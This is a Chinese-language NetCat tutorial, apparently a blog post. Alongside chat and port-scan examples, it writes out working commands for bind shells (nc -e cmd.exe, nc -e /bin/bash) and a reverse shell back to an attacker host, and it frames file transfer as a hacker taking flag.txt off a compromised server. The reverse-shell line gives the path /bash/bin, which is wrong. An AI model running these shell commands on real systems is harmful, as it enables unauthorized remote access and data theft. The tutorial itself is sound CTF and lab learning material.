概述
NetCat,简称'nc',有着 网络安全界"瑞士军刀" 的美称,可以通过TCP/UDP协议读写,是一个好用稳定的连接系统后门的工具,同时也是一个网络调试和开发工具
前期准备
两台任意有NC的命令的Linux主机
如果没有nc命令,使用下面命令安装
yum install -y nc
以下两台Linux分别命名为a和b,a是服务端,b是主机
常用参数
```
-l:启动监听
-v:显示执行命令的过程
-vv:显示更详细的信息
-p:指定端口
-e:重定向一个程序
-z:直接显示结果,用于扫描
-u:使用udp协议
-t:使用tcp协议
-n:IP以数字显示
-w:设置超时时间
```
构造一个简单的聊天界面
在a中使用命令
nc -lvp 监听端口[比如:1234,4567,8888,9999......任意即可,但是不能大于65535]
然后在b中执行
nc -nv 服务端的IP地址 服务端的监听端口
在服务端看到下图就说明已经连接上了,connect to后面的IP地址是连接过来的主机的IP地址
然后任意发信息都可以在对方主机显示出来,无论是服务端发送信息给主机还是主机发送信息给服务端,都可以实现两边都看得到对方给发的信息
构造一个读取文件的界面
假如服务端里有一个flag.txt,然后需要hacker入侵该系统并且取得flag文件,当hacker入侵进服务端的时候,发现了flag文件,但是不能直接读取,hacker绞尽脑汁地先查看这个文件,突然想到可以用到nc将文件传出来了,于是...
使用下面的命令将文件传出去:
nc -lvp 8888 < flag.txt
然后咱们在主机输入命令
nc -nv 服务端的IP地址 服务端的监听端口
连接成功后,主机端会回显文件内的内容
反弹一个shell
nc的功能是不限于聊天和返回文件的,反弹shell才是正经事
- 在Windows中,我们执行命令都是使用cmd.exe
- 在Linux中,我们执行命令都是使用/bin/bash
正向连接
正向连接:主动连接反弹shell的主机,通俗来说就是我们自己去连接服务端,然后执行命令,好比你喜欢一个男孩/女孩,你要主动去追人间,就是这么一个意思
nc -lvp -t -e cmd.exe 8888 //-t使用TCP连接,因为TCP很稳定, -e反弹cmd.exe出去
同样的,使用下面的命令连接到shell
nc -nv 服务端的IP地址 服务端的监听端口
如果你要反弹Linux的shell
nc -lv -t -e /bin/bash -p 8888 //-t使用TCP连接,因为TCP很稳定, -e反弹/bin/bash出去
然后可以试着执行一下命令看一下是否成功反弹了一个shell回来
反向连接
反向连接:有服务端主动连接到我们的主机,反向连接好比有一个女孩/男孩在主动追求你
先在我们的主机输入监听端口的命令
nc -lvp 8888
然后在服务端输入
nc -e /bash/bin -t 主机ip 主机的监听端口
当有服务端主动连接上我们的主机时,可以通过输入命令测试是否已经拿到shell了
搭建一个蜜罐
nc -k -lvp 8888 > abc.txt //-k持续监听
扫描端口
通常当你拿到shell了,但是还想探测一下内外的情况,但是扫描工具是扫描不进内网的,这个时候可以用nc扫描(不知道为什么,我自己的主机没有东西回显回来,这很糟糕)
nc -n -z -v 服务端IP地址 端口[端口范围]
如果有该端口是开放的:
如果该端口是关闭的,会显示Connection refused :
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论